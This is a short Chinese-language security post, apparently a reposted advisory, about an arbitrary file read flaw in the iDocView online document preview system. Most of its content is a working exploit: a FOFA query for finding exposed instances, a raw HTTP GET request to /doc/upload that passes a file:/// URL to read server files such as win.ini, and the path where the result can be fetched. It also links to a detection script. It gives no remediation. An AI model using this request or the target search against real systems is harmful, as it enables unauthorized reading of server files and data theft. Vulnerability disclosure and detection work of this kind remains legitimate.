I Doc View在线文档预览系统存在任意文件读取漏洞
2023-12-21 07:4:19 Author: 网络安全透视镜(查看原文) 阅读量:28 收藏

一、漏洞描述

iDocView是一个在线文档解析应用，旨在提供便捷的文件查看和编辑服务。该系统存在任意文件读取漏洞，通过此漏洞，攻击者可读取服务器任意文件。

二、网络空间搜索引擎搜索

fofa查询

title=="在线文档预览 - I Doc View"

三、漏洞复现

POC

GET /doc/upload?token=testtoken&url=file:///C:/windows/win.ini&name=test.txt HTTP/1.1Host: Pragma: no-cacheCache-Control: no-cacheUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: JSESSIONID=933399ED5A07718ECB60598C4EB932BAConnection: close

然后访问返回的路径

/data/test/2023/1210/10/101620_167_TsVDBdt.txt

四、漏洞检测

pocsuite3漏洞检测

漏洞检测脚本已上传免费漏洞库

地址：

https://github.com/Vme18000yuan/FreePOC


文章来源: http://mp.weixin.qq.com/s?__biz=MzIxMTg1ODAwNw==&mid=2247498783&idx=1&sn=8593c39448d3efcbaf00277b13b9524c&chksm=963bd066098146d347cda6f071fc7983ffbe891bfbd24a791ad93a50aed174f37014bb76a590&scene=0&xtrack=1#rd
如有侵权请联系:admin#unsafe.sh